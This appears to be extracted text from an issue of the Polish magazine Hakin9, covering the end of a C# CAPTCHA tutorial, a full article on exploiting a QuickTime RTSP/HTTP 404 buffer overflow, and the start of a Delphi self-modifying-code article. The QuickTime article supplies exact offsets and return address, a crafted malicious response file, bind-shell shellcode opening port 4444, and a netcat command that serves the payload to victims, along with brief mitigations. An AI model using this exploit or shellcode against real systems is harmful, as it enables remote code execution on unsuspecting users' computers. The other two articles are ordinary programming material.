Rectangle

 

r

 

=

 

new

 

Rectangle

(

0

0

width

height

);

            
            

HatchBrush

 

brush

 

=

 

new

 

HatchBrush

(

HatchStyle

.

SmallConfetti

Color

.

LightGray

Color

.

White

);

            

g

.

FillRectangle

(

brush

r

);

            

StringFormat

 

format

 

=

 

new

 

StringFormat

();

            

format

.

Alignment

 

=

 

StringAlignment

.

Center

;

            

format

.

LineAlignment

 

=

 

StringAlignment

.

Center

;

            

GraphicsPath

 

path

 

=

 

new

 

GraphicsPath

();

            

path

.

AddString

(

text

FontFamily

.

GenericSerif

(

int

)

FontStyle

.

Bold

 

+

 

(

int

)

FontStyle

.

Italic

fontSize

r

format

);

            

brush

 

=

 

new

 

HatchBrush

(

HatchStyle

.

LargeConfetti

Color

.

LightGray

Color

.

DarkGray

);

            
            

float

 

r1

 

=

 

random

.

Next

(

width

 / 

8

);

            

float

 

r2

 

=

 

random

.

Next

(

height

 / 

4

);

            

            

PointF

 

p1

 

=

 

new

 

PointF

(

0

0

);

            

PointF

 

p2

 

=

 

new

 

PointF

(

width

r2

);

            

PointF

 

p3

 

=

 

new

 

PointF

(

r1

height

);

            

PointF

 

p4

 

=

 

new

 

PointF

(

width

height

-

r2

);

            

PointF

[]

 

points

 

=

 

{

 

p1

p2

p3

p4

 

}

;

            

Matrix

 

m

 

=

 

new

 

Matrix

();

            

path

.

Warp

(

points

r

m

WarpMode

.

Perspective

);

            

            

g

.

FillPath

(

brush

path

);

            

for

 

(

int

 

i

 

=

 

0

;

 

i

 

<

 

width

 / 

3

;

 

i

++)

                

g

.

FillEllipse

(

brush

new

 

Rectangle

(

random

.

Next

(

0

width

)

random

.

Next

(

0

height

)

random

.

Next

(

1

width

 / 

20

)

random

.

Next

(

1

width

 / 

20

)));

            

for

(

int

 

i

 

=

 

0

;

 

i

<

width

/

22

;

 

i

++)

                

g

.

DrawEllipse

(

new

 

Pen

(

brush

)

(

float

)

random

.

Next

(

0

width

)

(

float

)

random

.

Next

(

0

height

)

(

float

)

random

.

Next

(

0

width

)

(

float

)

random

.

Next

(

0

height

));

            
            

return

 

picture

;

        

}

 

Listing 3. 

Strona obrazek.aspx, generująca testowy obrazek

    

protected

 

void

 

Page_Load

(

object

 

sender

EventArgs

 

e

)

    

{

        

string

 

tekst

 

=

 

"Hakin9"

;

        

Captcha

 

image

 

=

 

new

 

Captcha

(

150

50

38

tekst

);

        

image

.

Generate

()

.

Save

(

Response

.

OutputStream

System

.

Drawing

.

Imaging

.

ImageForm

at

.

Jpeg

);

        

Session

.

Add

(

"tekst"

tekst

);

    

}

Rysunek 3

. Wynik skanowania obrazka 

CAPTCHA przy pomocy FineReader

background image

18

 

POCZATKI

HAKIN9 6/2008

TEST CAPTCHA

19

 

HAKIN9 

6/2008

obrazka. Dobrym pomysłem jest również 
umieszczenie pewnych nieregularnych 
linii, które nachodzą na napis. Jest to duże 
utrudnienie dla botów, oczywiście pod 
warunkiem, że linie są rysowane losowo. To 
zabezpieczenie realizowane jest w drugiej 
pętli, która rysuje losowe elipsy z odpowiednio 
dobranymi współczynnikami. Na końcu 
metody zwracany jest cały obrazek. I to 
wszystko. Klasa do generowania obrazków 
CAPTCHA jest już gotowa. Oczywiście można 
do niej wprowadzić szereg modyfikacji. 
Najlepiej umieścić ją w projekcie aplikacji 
Windows, gdzie z łatwością możemy ją 
przetestować.

Kolejne zadanie to stworzenie testowego 

serwisu WWW, w którym klasa Captcha 
zostanie użyta praktycznie. Umieszczamy ją w 
projekcie strony ASP.NET. Przypomnę tylko, ze 
pliki klas najlepiej umieszczać w podkatalogu 
App_Code katalogu projektu. Oczywiście 
na potrzeby artykułu serwis będzie bardzo 
prosty. Będzie składał się z dwóch stron: 
Default.aspx i obrazek.aspx. Pierwsza z nich 
jest standardową stroną WWW, natomiast 
za pomocą drugiej wygenerujemy testowy 

obrazek. Obrazek zwracany będzie jako 
odpowiedź. Innym rozwiązaniem może być 
tymczasowy zapis obrazka na dysku twardym 
serwera, jednak przy sporym ruchu mogłoby 
się okazać, że na dysku brakuje miejsca do 
zapisu. Strona obrazek.aspx musi zawierać 
kod obrazka testowego. Odpowiedni kod 
umieścimy w metodzie zdarzeniowej 

Page _

Load

 (Listing 3.). Jest to jedynie przykład i 

pod zmienną 

tekst

 powinno się podstawić 

automatycznie wygenerowany ciąg o danej 
długości. W artykule Automatyczna generacja 
ciągów (Hakin9 5/2008) przedstawiłem jeden 
ze sposobów otrzymania takiego ciągu. 
Dalej generowany jest obiekt klasy 

Captcha

Wygenerowany obrazek od razu zamieniamy 
na strumień wyjściowy i pakujemy do formatu 
JPEG. Na koniec dodajemy jeszcze zmienną 
sesji, która przechowywać będzie tekst 
umieszczony na obrazku. Strona Default.aspx 
zawierać będzie jedynie cztery kontrolki: 

Image1

TextBox1

Button1

 i 

Label1

 

(Listing 4.). Pierwsza z nich wyświetlać będzie 
obrazek CAPTCHA. Jej własność 

ImageUrl

 

ustawiamy na obrazek.aspx. Po kliknięciu 
przycisku Button1 nastąpi sprawdzenie, czy 

tekst wprowadzony do kontrolki 

TextBox1

 jest 

taki sam, jak ten przechowywany w zmiennej 
sesji 

tekst

 (Listing 5.). Serwis WWW w akcji 

przedstawia Rysunek 2. Przeprowadźmy 
jeszcze prosty test wygenerowanego obrazka. 
Użyjemy do tego aplikacji FineReader 9.0 w 
wersji Professional. Jest to jeden z najbardziej 
popularnych programów typu OCR. Jedna z 
jego opcji umożliwia skanowanie obrazków 
zapisanych w najpopularniejszych formatach. 
Obrazek CAPTCHA wygenerowany za 
pomocą stworzonej klasy został zapisany na 
dysku jako mapa bitowa. Został następnie 
wczytany za pomocą programu FineReader, 
po czym dokonano próby odczytania tekstu. 
Wynik przedstawia Rysunek 3.

Program nie jest w stanie odczytać 

tekstu z obrazka. Oczywiście ten test 
należy traktować ostrożnie, ponieważ 
FineReader jest zoptymalizowany specjalnie 
do pracy biurowej. Pokazuje on jednak, 
że standardowe algorytmy OCR w tym 
przypadku zawodzą.

Problem odpowiedniego zabezpieczenia 

wszelakiego rodzaju formularzy 
rejestracyjnych przed automatami używanymi 
przez spamerów to poważna sprawa. 

Podsumowanie

W zeszłym roku ponad 97% wszystkich 
wysłanych maili to niechciana poczta. 
Automatyczne wpisy reklamowe na 
forach internetowych nie przysparzają 
ich administratorom chwały. Sondaże 
przeprowadzane w Internecie mogą paść 
ofiarą botów. Naturalnie test CAPTCHA 
nie rozwiąże tych wszystkich problemów, 
może jednak zmniejszyć ich skalę. 
Dodatkowo możemy używać odpowiednich 
filtrów. Przyznam się, że czasem mam 
problemy z prawidłowym odczytaniem 
tekstu z obrazka. Potrafi to zirytować wielu 
użytkowników. Jednak jeśli może to pomóc 
w ograniczeniu działalności spamerów, 
warto poświęcić temu kilka sekund i nieco 
wysilić swoje zmysły.

Listing 4. 

Strona Default.aspx

<%

Page

 

Language

=

"C#"

 

AutoEventWireup

=

"true"

  

CodeFile

=

"Default.aspx.cs"

 

Inherits

=

"_

Default"

 

%>

<!

DOCTYPE

 

html

 

PUBLIC

 "

-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/

xhtml1/DTD/xhtml1-transitional.dtd">

<

html

 

xmlns

=

"http://www.w3.org/1999/xhtml"

 

>

<

head

 

runat

=

"server"

>

    

<

title

>

Untitled

 

Page

<

/

title

>

<

/

head

>

<

body

>

    

<

form

 

id

=

"form1"

 

runat

=

"server"

>

    

<

div

>

        

<

asp

:

Image

 

ID

=

"Image1"

 

runat

=

"server"

 

ImageUrl

=

"obrazek.aspx"

 /

>&

nbsp

;<

br

 /

>

        

<

asp

:

TextBox

 

ID

=

"TextBox1"

 

runat

=

"server"

><

/

asp

:

TextBox

>

        

<

asp

:

Button

 

ID

=

"Button1"

 

runat

=

"server"

 

OnClick

=

"Button1_Click"

 

Text

=

"Sprawdź!"

 /

>

        

<

br

 /

>

        

<

asp

:

Label

 

ID

=

"Label1"

 

runat

=

"server"

 

BackColor

=

"White"

 

Font

-

Bold

=

"True"

 

Font

-

Size

=

"Larger"

            

Text

=

"Label"

><

/

asp

:

Label

><

/

div

>

    

<

/

form

>

<

/

body

>

<

/

html

>

 

Listing 5. 

Metoda zdarzeniowa Button1_Click

    

protected

 

void

 

Button1_Click

(

object

 

sender

EventArgs

 

e

)

    

{

        

string

 

pass

 

=

 

Session

[

"tekst"

]

.

ToString

();

        

if

 

(

TextBox1

.

Text

 

==

 

pass

)

            

Label1

.

Text

 

=

 

"Nie jesteś botem !"

;

        

else

            

Label1

.

Text

 

=

 

"Jesteś botem !!!"

;

    

}

Sławomir Orłowski

Z wykształcenia fizyk. Obecnie jest doktorantem na 

Wydziale Fizyki, Astronomii i Informatyki Stosowanej 

Uniwersytetu Mikołaja Kopernika w Toruniu. Zajmuje się 

symulacjami komputerowymi układów biologicznych 

(dynamika molekularna) oraz bioinformatyką. 

Programowanie jest nieodzowną częścią jego 

pracy naukowej i dydaktycznej. Ma doświadczenie w 

programowaniu w językach C, C++, Delphi, Fortran, Java, 

C# i Tcl. Współzałożyciel i koordynator grupy .NET WFAiIS. 

Jest autorem artykułów i książek informatycznych. 

Strona domowa: http://www.fizyka.umk.pl/~bigman/.

Kontakt z autorem: bigman@fizyka.umk.pl

background image

20

 

HAKIN9

ATAK

6/2008

P

rodukty multimedialne firmy Apple już 
od dawna są obecne wśród szerokich 
rzeszy użytkowników komputerów. 

Umożliwiają one odtwarzanie wielu formatów 
plików multimedialnych w sposób łatwy i 
wygodny, oferując przy tym przyjazny dla 
oka interfejs. Dodatkowym atutem programu 
QuickTime jest fakt, iż może być on użyty jako 
plugin przeglądarki internetowej, co pozwoli nam 
oglądać multimedia bezpośrednio na stronie 
WWW. Nie zapominajmy też o stworzonym 
właśnie z myślą o QuickTime formacie plików, 
które mogą być odtwarzane tylko w tej aplikacji.

Mimo licznych zalet, oprogramowanie 

to – jak wiele innych aplikacji – ma jedną 
zasadniczą wadę, mianowicie znajdowane są 
w nim błędy związane z kwestią, która powinna 
być oczkiem w głowie każdego internauty – 
bezpieczeństwem jego komputera. Tym razem 
nie będzie inaczej. QuickTime – aplikacja, 
która może działać samodzielnie, jak również 
jako część pakietu iTunes – jest podatna na 
atak związany z przepełnieniem bufora. Jak 
nietrudno się domyślić, umożliwia to wykonanie 
dowolnego kodu na komputerze ofiary. Na 
dokładkę wszystko odbywa się zdalnie, za 
pośrednictwem Internetu.

Protokół RTSP

Jak mówi definicja protokołu RTSP, 
zaprojektowano go do użycia przez 
strumieniowe aplikacje multimedialne. Brzmi 

KONRAD ZUWAŁA

Z ARTYKUŁU 

DOWIESZ SIĘ

jak wykorzystać lukę związaną 

z przepełnieniem bufora w 

aplikacjach Apple korzystających 

z programu QuickTime,

co można zrobić w celu poprawy 

bezpieczeństwa tych aplikacji.

CO POWINIENEŚ 

WIEDZIEĆ

znać podstawy działania ataków 

typu buffer overflow,

umieć obsługiwać system 

Windows z poziomu wiersza 

poleceń,

znać podstawy protokołu HTTP.

skomplikowanie, jednak w rzeczywistości jest 
prostsze, aniżeli wydaje się być na pierwszy 
rzut oka. RTSP (ang. Real Time Streaming 
Protocol, czyli Protokół Strumieniowania Czasu 
Rzeczywistego) jest protokołem bazującym na 
komunikacji typu klient – serwer. Umożliwia on 
pracę z plikami multimedialnymi, do których 
uzyskujemy zdalny dostęp za pomocą klienta 
takiego protokołu, np. QuickTime. Protokół ten 
– mimo, iż powszechnie używany – jest dopiero 
w fazie rozwoju; ciągle proponowane są nowe 
udoskonalenia i opcje, które mają go uczynić 
bardziej wszechstronnym i niezawodnym.

RTSP jest protokołem, który może do 

przesyłania danych używać zarówno protokołu 
TCP, jak i UDP. Założeniem jego twórców 
było udostępnienie pewnego mechanizmu 
kontroli wielu sesji transmisji danych – tak, aby 
komunikacja przebiegała w należytej kolejności, 
z zachowaniem szybkości i niezawodności 
transmisji.

Protokół ten ma pełnić funkcję czegoś 

w rodzaju pilota sterującego strumieniami 
danych multimedialnych, które są aktualnie 
przesyłane. Więcej na temat teoretycznej 
strony działania opisywanego protokołu 
można znaleźć pod adresami wskazanymi 
w ramce W Sieci. My jednak zajmiemy się 
praktycznym wykorzystaniem tych informacji 
– kompromitacją QuickTime.

Usługa serwera tego protokołu działa 

zwykle na porcie 554, jednak, gdy aplikacja 

Stopień trudności

Hakowanie 

QuickTime’a 

Apple zdobył sobie zasłużoną sławę producenta multimediów. 

QuickTime jest jednym z jego flagowych produktów, który cieszy 

się dobrą sławą. Odkryto jednak błąd, który pozwala zaatakować 

QuickTime’a.

background image

21

 

HAKIN9 

HAKOWANIE QUICKTIME’A

6/2008

taka jak QuickTime nie będzie mogła 
połączyć się z tym portem, ponieważ 
będzie on zamknięty, spróbuje ona 
wybrać port http (czyli 80) jako domyślny 
port połączenia. Aby zmusić aplikację 
Apple'a do połączenia się z serwerem 
RTSP, wystarczy w przeglądarce kliknąć 
odnośnik do strony opisany URLem 
wywołującym ten protokół, np. rtsp:
//jakasStrona.com/plik.mp3
. Przykładowa 
strona może wyglądać tak, jak ta 
zaprezentowana na Listingu 1.

Znając już podstawy działania 

protokołu RTSP, jesteśmy w stanie 
przejść do dalszej części układanki, 
mianowicie przepełnienia bufora 
związanego właśnie z obsługą tego 
protokołu.

RTSP, HTTP, czyli jak 

przepełnić bufor QuickTime

Problem w QuickTime, odkryty 
przez Luigi'ego Auriemma, polega 
na zachowaniu tegoż programu w 
przypadku, gdy wywołujemy połączenie 
z serwerem RTSP, jednak ten nie 
nasłuchuje na porcie 554. Zgodnie 
z tym, co było napisane wcześniej, 
QuickTime w takiej sytuacji podejmuje 
próbę połączenia na porcie 80. Jest 
to domyślny port protokołu HTTP, 
tak więc aplikacja przełącza się 
właśnie na HTTP, wkraczając tym 
samym na dość niepewny grunt. 
Przepełnienie bufora następuje wtedy, 
gdy za pomocą protokołu HTTP do 
programu zostaje wysłany kod błędu 
404 (strony nie znaleziono). Jest on 
niepoprawnie obsługiwany przez 
aplikację, umożliwiając dokonanie 
ataku związanego z przepełnieniem 
bufora. A przepełnienie bufora zwykle 
pozwala nam wykonać dowolny kod 
na komputerze ofiary – to jest właśnie 
naszym celem.

Przepełnienie bufora następuje wtedy, 

gdy nasz spreparowany serwer HTTP 
wyśle kod błędu 404. Zła implementacja 
obsługi tego kodu w QuickTime 
sprawia, że jesteśmy w stanie nadpisać 
4–bajtowym ciągiem adres powrotu z 
funkcji. Dzięki temu możemy wstawić w to 
miejsce adres, w którym znajduje się nasz 
shellcode. Demonstruje to Rysunek 2.

Jak widać z tego schematu, zasada 

działania naszego exploita będzie 

dość prosta. Wystarczy, że nadpiszemy 
odpowiedni adres w pamięci – tak, aby 
wykonanie programu przeskoczyło do 
naszego shellcodu. Shellcode powinien 
więc znajdować się w miejscu w 
pamięci, które będzie nam znane i do 
którego będziemy w stanie się odwołać 
za pośrednictwem asemblerowej 
instrukcji 

JMP adresShellcode

. Sam 

shellcode musi być tak skonstruowany, 
aby mieścił się w buforze, do którego 
zamierzamy go wkleić, winien również 
przynosić nam wymierne korzyści 
w postaci np. otwarcia powłoki na 
zadanym porcie.

Warto wspomnieć, iż nie jest to 

klasyczny atak przepełnienia bufora, który 
zwykle ma miejsce, gdy nadpisywany 
jest adres powrotu znajdujący się 
na stosie. My staramy się nadpisać 
adres, który znajduje się w rejestrze 
procesora, a w klasycznej definicji 

przepełnienia bufora złośliwy adres jest 
po prostu kładziony na stosie – tak, aby 
asemblerowe wywołanie 

RET

 pobrało 

nie adres właściwej funkcji, tylko adres 
shellcode.

Budujemy exploit

Zanim przystąpimy do rzeczywistej 
budowy exploita, musimy najpierw 
poznać pełne założenia niezbędne do 
jego prawidłowego działania. Adres 
w pamięci, który musimy nadpisać, 
położony jest dokładnie 1926 bajtów 
od miejsca, w którym wyświetlana jest 
wiadomość o błędzie, znajdująca się 
z kolei 486 bajtów przed początkiem 
bufora, który przyjmie spreparowane 
przez nas dane. Dostajemy więc 1440 
bajtów, które mogą być dowolnym 
ciągiem śmieci, zaczynającym się 
oczywiście od znaków 

HTTP/1.1 404

Po ciągu śmieci winien znajdować się 

Rysunek 1. 

Program iTunes – pakiet multimedialny Apple korzystający z QuickTime

Listing 1. 

Przykładowa strona z odwołaniem do serwera RTSP

<

HTML

>

   

<

BODY

>

   

<

A HREF=”rtsp://jakasStrona.com/piosenka.mp3”

>

Strona rtsp

<

/A

>

   

<

/BODY

>

<

/HTML

>

background image

ATAK

22

 

HAKIN9 6/2008

23

 

HAKIN9 

6/2008

HAKOWANIE QUICKTIME’A

czterobajtowy adres, który – w wyniku 
naszej exploitacji – zostanie zapisany 
do rejestru EAX procesora atakowanej 
maszyny. Zawartość rejestru EAX będzie 
wskazywać na adres w pamięci miejsca, 
w którym nastąpiło przepełnienie, tak 
więc nasz shellcode powinien znajdować 
się dokładnie 4 bajty za tym miejscem 
– tyle zajmują 32 bity adresu, który 
skopiujemy do rejestru EAX. Następnie 
w programie wywoływana jest instrukcja 

JMP EAX

. Autor celowo nie zachowuje 

składni odpowiedniej dla któregoś 
z asemblerów, pozostawiając jego 
wybór Czytelnikowi – czy polecenie 
będzie wyglądać tak, czy też np. 

JMP 

%EAX

, zależeć będzie od używanego 

asemblera. 

Adres w pamięci, od którego musimy 

odliczyć rzeczone 1926 bajtów, to 
szesnastkowo 0x6761d559. Dodatkowo 
– dla bezpieczeństwa – shellcode 
winien zaczynać się od 4–bajtowego 
ciągu instrukcji 

NOP

, co pomoże choćby 

w przypadku, gdybyśmy zrobili błąd 
w obliczeniach i np. nie uwzględnili 
rozmiaru adresu nadpisania. Po tym 
ciągu winien następować docelowy kod 
shellcode, który zostanie wykonany na 
maszynie ofiary.

Listing 2. demonstruje, jak winien 

wyglądać plik, który wyślemy ofierze za 
pomocą protokołu HTTP. Zaczyna się 
od ciągu informującym o napotkaniu 
błędu, dalej następuje ciąg śmieci 
mających na celu przepełnić bufor. 
Warto wspomnieć, że ciąg śmieci może 
być dowolnym znakiem drukowalnym 
– nie można używać znaków NULL ani 
znaków specjalnych ASCII (powrotu 
karetki, nowego wiersza, wcięcia etc). 
Po ciągu śmieci napotykamy na adres 

w pamięci, który wskazuje na nasz 
shellcode – adres bazowy + offset, 
czyli łącznie 1930 bajtów (pamiętajmy, 
że sam adres też zajmuje miejsce w 
pamięci). Teraz pora na shellcode, który 
jest oczywiście skompilowany do postaci 
binarnej. Zaczyna się on od 4–bajtowego 
ciągu NOPów (jak wspominałem 
wyżej – pełniących rolę dodatkowego 
zabezpieczenia dla prawidłowego 
zadziałania złośliwego kodu). Gotowy 
shellcode możemy pobrać z Internetu lub 
też stworzyć samodzielnie za pomocą 

np. biblioteki InlineEgg, opisywanej 
we wcześniejszych numerach Hakin9. 
Przykładowy shellcode otwierający 
powłokę na porcie 4444 zaprezentowany 
jest na Listingu 3.

Pozostaje jeszcze tylko jeden 

problem – w jaki sposób przesłać tak 
spreparowany plik do ofiary? Z pomocą 
przychodzi nam niezawodny program 
netcat, który możemy uruchomić w trybie 
serwera nasłuchującego na danym 
porcie, tak, aby zaraz po połączeniu się 
z tym portem wysłał spreparowany przez 

Rysunek 2. 

Schemat przepełnienia bufora 

QuickTime

początek bufora

nadpisany adres powrotu z funkcji

segment pamięci zawierający shellcode

Rysunek 3. 

QuickTime pod debuggerem IDA

Rysunek 4. 

Zdalna powłoka na komputerze ofiary - udana exploitacja

W Sieci:

•   http://tools.ietf.org/html/rfc2326 – opis protokołu RTSP,
•   http://www.us-cert.gov/reading_room/securing_browser – zabezpieczanie przeglądarki 

Internetowej przed atakami opisanego typu,

•   http://www.apple.com/quicktime – strona domowa programu QuickTime.

background image

ATAK

22

 

HAKIN9 6/2008

23

 

HAKIN9 

6/2008

HAKOWANIE QUICKTIME’A

nas plik do ofiary i zakończył połączenie. 
Opisywane wywołanie programu netcat 
zaprezentowane jest na Listingu 4. 
Oczywiście, do poprawnego działania 
netcata wymagane jest odblokowanie 
portu na firewallu i posiadanie praw 
administratora – uruchomienie usługi 
na porcie niższym niż 1024 jest zwykle 
ograniczane przez używany system 
operacyjny, naturalnie ze względów 
bezpieczeństwa.

Jak się zabezpieczyć?

Opisywana podatność dotyczy 
QuickTime w wersji niższej bądź równej 
7.3.1.70, na systemach operacyjnych 
Windows bądź Mac. Linux po raz kolejny 

okazał się być odpornym na podobnego 
rodzaju ataki. Na dzień pisania artykułu 
nie istniała żadna łata umożliwiająca 
wyeliminowanie błędu. Pozostaje więc 
pytanie, w jaki sposób zabezpieczyć się 
przed tego typu atakiem?

Metod jest kilka – jednak im 

bardziej chcemy być bezpieczni, tym 
bardziej ograniczymy dostępną dla nas 
funkcjonalność. Podstawową metodą 
jest z pewnością zablokowanie protokołu 
RTSP w przeglądarce internetowej 
bądź korzystanie z serwera proxy, który 
automatycznie blokuje tenże protokół. 
Użytkownicy jeszcze bardziej wrażliwi 
na punkcie swojego bezpieczeństwa 
mogą w ogóle odinstalować z systemu 

oprogramowanie QuickTime (a co 
za tym idzie, również iTunes, które 
używa QuickTime). Z pewnością nie 
jest to jednak najlepszy pomysł, gdyż 
pozbywanie się ulubionego programu 
do odtwarzania multimediów z powodu 
wykrycia w nim błędu mija się nieco 
z celem – gdyby postępować w ten 
sposób, musielibyśmy pewnie w ogóle 
zaprzestać korzystania z komputera, 
albowiem ciągle wykrywane są nowe 
błędy w oprogramowaniu. 

Zablokowanie pluginu QuickTime 

w przeglądarkach z rodziny Mozilla 
(bądź formantu ActiveX w Internet 
Explorerze) powinno uchronić nas przed 
następstwami używania dziurawego 
QuickTime, jednak znów mamy tu do 
czynienia ze znaczącym ograniczeniem 
naszego komfortu i funkcjonalności 
wykorzystywanego komputera. 
Pozostaje więc mieć nadzieję, że patch 
naprawiający opisany błąd wkrótce 
pojawi się na stronach Apple.

Podsumowanie

Opisana w artykule luka w 
oprogramowaniu Apple pozwala na 
uruchomienie praktycznie dowolnego 
kodu na komputerze nieświadomego 
użytkownika, co może prowadzić do 
przykrych konsekwencji. Nawet w 
programach takich, jak QuickTime, 
które z pozoru wydają się być mało 
atrakcyjnym celem dla atakującego, 
znajdowane są błędy, które pozwalają 
na zdalne wykonanie złośliwego 
kodu. Słusznymi więc wydają się 
być podstawowe zasady, których 
przestrzeganie zagwarantuje nam tak 
pożądane bezpieczeństwo: korzystanie 
do codziennego użytku z konta 
innego niż administracyjne, używanie 
tylko pewnego oprogramowania i 
omijanie witryn, które nie wzbudzają 
w nas należytego zaufania. Pozostaje 
więc mieć nadzieję, że Czytelnik, 
omijając nieznane strony internetowe z 
odnośnikami rtsp://, nie stanie się ofiarą 
takiego ataku.

Listing 2. 

Plik – zasadzka

HTTP/1.1 404
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxx

// litera x powtarza się 1440 razy – ciąg śmieci
// w tym miejscu skompilowane adres w pamięci i shellcode:
0x6761DCE3 //  0x6761d559 + 0x786 + 0x4
//shellcode jest oczywiście skompilowany binarnie
NOP NOP NOP NOP 
docelowyKod

Listing 3. 

Shellcode uruchamiający powłokę na porcie 4444

char

 

shellcode

[]=

"

\x

90

\x

90

\x

90

\x

90"

 // 

4

-

bajtowy

 

ci

ą

g

 

nop

ó

w

"

\x

33

\x

c9

\x

83

\x

e9

\x

b0

\x

d9

\x

ee

\x

d9

\x

74

\x

24

\x

f4

\x

5b

\x

81

\x

73

\x

13

\x

af"

"

\x

99

\x

e8

\x

2f

\x

83

\x

eb

\x

fc

\x

e2

\x

f4

\x

53

\x

f3

\x

03

\x

62

\x

47

\x

60

\x

17

\x

d0"

"

\x

50

\x

f9

\x

63

\x

43

\x

8b

\x

bd

\x

63

\x

6a

\x

93

\x

12

\x

94

\x

2a

\x

d7

\x

98

\x

07

\x

a4"

"

\x

e0

\x

81

\x

63

\x

70

\x

8f

\x

98

\x

03

\x

66

\x

24

\x

ad

\x

63

\x

2e

\x

41

\x

a8

\x

28

\x

b6"

"

\x

03

\x

1d

\x

28

\x

5b

\x

a8

\x

58

\x

22

\x

22

\x

ae

\x

5b

\x

03

\x

db

\x

94

\x

cd

\x

cc

\x

07"

"

\x

da

\x

7c

\x

63

\x

70

\x

8b

\x

98

\x

03

\x

49

\x

24

\x

95

\x

a3

\x

a4

\x

f0

\x

85

\x

e9

\x

c4"

"

\x

ac

\x

b5

\x

63

\x

a6

\x

c3

\x

bd

\x

f4

\x

4e

\x

6c

\x

a8

\x

33

\x

4b

\x

24

\x

da

\x

d8

\x

a4"

"

\x

ef

\x

95

\x

63

\x

5f

\x

b3

\x

34

\x

63

\x

6f

\x

a7

\x

c7

\x

80

\x

a1

\x

e1

\x

97

\x

04

\x

7f"

"

\x

50

\x

4f

\x

8e

\x

7c

\x

c9

\x

f1

\x

db

\x

1d

\x

c7

\x

ee

\x

9b

\x

1d

\x

f0

\x

cd

\x

17

\x

ff"

"

\x

c7

\x

52

\x

05

\x

d3

\x

94

\x

c9

\x

17

\x

f9

\x

f0

\x

10

\x

0d

\x

49

\x

2e

\x

74

\x

e0

\x

2d"

"

\x

fa

\x

f3

\x

ea

\x

d0

\x

7f

\x

f1

\x

31

\x

26

\x

5a

\x

34

\x

bf

\x

d0

\x

79

\x

ca

\x

bb

\x

7c"

"

\x

fc

\x

ca

\x

ab

\x

7c

\x

ec

\x

ca

\x

17

\x

ff

\x

c9

\x

f1

\x

f9

\x

73

\x

c9

\x

ca

\x

61

\x

ce"

"

\x

3a

\x

f1

\x

4c

\x

35

\x

df

\x

5e

\x

bf

\x

d0

\x

79

\x

f3

\x

f8

\x

7e

\x

fa

\x

66

\x

38

\x

47"

"

\x

0b

\x

34

\x

c6

\x

c6

\x

f8

\x

66

\x

3e

\x

7c

\x

fa

\x

66

\x

38

\x

47

\x

4a

\x

d0

\x

6e

\x

66"

"

\x

f8

\x

66

\x

3e

\x

7f

\x

fb

\x

cd

\x

bd

\x

d0

\x

7f

\x

0a

\x

80

\x

c8

\x

d6

\x

5f

\x

91

\x

78"

"

\x

50

\x

4f

\x

bd

\x

d0

\x

7f

\x

ff

\x

82

\x

4b

\x

c9

\x

f1

\x

8b

\x

42

\x

26

\x

7c

\x

82

\x

7f"

"

\x

f6

\x

b0

\x

24

\x

a6

\x

48

\x

f3

\x

ac

\x

a6

\x

4d

\x

a8

\x

28

\x

dc

\x

05

\x

67

\x

aa

\x

02"

"

\x

51

\x

db

\x

c4

\x

bc

\x

22

\x

e3

\x

d0

\x

84

\x

04

\x

32

\x

80

\x

5d

\x

51

\x

2a

\x

fe

\x

d0"

"

\x

da

\x

dd

\x

17

\x

f9

\x

f4

\x

ce

\x

ba

\x

7e

\x

fe

\x

c8

\x

82

\x

2e

\x

fe

\x

c8

\x

bd

\x

7e"

"

\x

50

\x

49

\x

80

\x

82

\x

76

\x

9c

\x

26

\x

7c

\x

50

\x

4f

\x

82

\x

d0

\x

50

\x

ae

\x

17

\x

ff"

"

\x

24

\x

ce

\x

14

\x

ac

\x

6b

\x

fd

\x

17

\x

f9

\x

fd

\x

66

\x

38

\x

47

\x

5f

\x

13

\x

ec

\x

70"

"

\x

fc

\x

66

\x

3e

\x

d0

\x

7f

\x

99

\x

e8

\x

2f"

;

 

Listing 4. 

Wywołanie programu netcat w trybie serwera

nc -l -p 80 -v -v -n < ourPreparedFile.txt

Konrad Zuwała

Autor zajmuje się bezpieczeństwem aplikacji 

internetowych oraz szeroko rozumianą ochroną 

systemów komputerowych. W wolnych chwilach 

programuje (głównie C/C++, PHP) oraz zarządza 

portalem internetowym.

Kontakt z autorem: kzuwala@poczta.onet.pl

background image

24

 

HAKIN9

ATAK

6/2008

P

odstawowym zabezpieczeniem jest 
utrudnienie deasemblacji i analizy 
newralgicznych fragmentów kodu aplikacji 

odpowiedzialnych za realizację algorytmu 
generującego klucze aktywacyjne i ich weryfikację. 
Podstawową metodą utrudnienia analizy kodu jest 
zastosowanie techniki SMC (ang. self modifying 
code), czyli samomodyfikującego się kodu. 
Ogólnie polega ona na dynamicznej generacji 
kodu podczas wykonywania programu i jego 
modyfikacji. Stosuje się też szyfrowanie kodu i 
jego deszyfrowanie w locie

Artykuł porusza kwestię zabezpieczania plików 
wykonywalnych przed odkrywaniem przez osoby 
nieuprawnione algorytmów do szyfrowania i 
generowania kluczy, zabezpieczających aplikacje 
Windows napisane w środowisku Delphi. 
Podstawowym zabezpieczeniem jest utrudnienie 
deasemblacji i analizy newralgicznych fragmentów 
kodu aplikacji odpowiedzialnych za realizację 
algorytmu generującego klucze aktywacyjne i 
ich weryfikację. Podstawową metodą utrudnienia 
analizy kodu jest zastosowanie techniki SMC (ang. 
self modifying code), czyli samomodyfikującego 
się kodu. Ogólnie polega ona na dynamicznej 
generacji kodu podczas wykonywania programu i 
jego modyfikacji. Stosuje się też szyfrowanie kodu i 
jego deszyfrowanie w locie.

W artykule przedstawiam przykładową 

aplikację Delphi z prostym generatorem kluczy 
napisanym w technice 

SMC

. Aby zrozumieć 

przykładowy kod, trzeba znać podstawy języka 

ARTUR KOZUBSKI

Z ARTYKUŁU 

DOWIESZ SIĘ

co to jest technika SMC i jak ją 

stosować do ochrony swoich 

aplikacji,

jak stosować wbudowany 

asembler Delphi do pisania 

samomodyfikującego się kodu,

jak wykorzystać debugger Delphi 

do śledzenia programu na 

poziomie CPU.

CO POWINIENEŚ 

WIEDZIEĆ

posiadać podstawową 

znajomość środowiska Delphi i 

języka Object Pascal,

mieć ogólne pojęcie o 

architekturze x86,

znać podstawy asemblera x86 

(dodatkowa ramka może być 

pomocna dla osób nieznających 

asemblera).

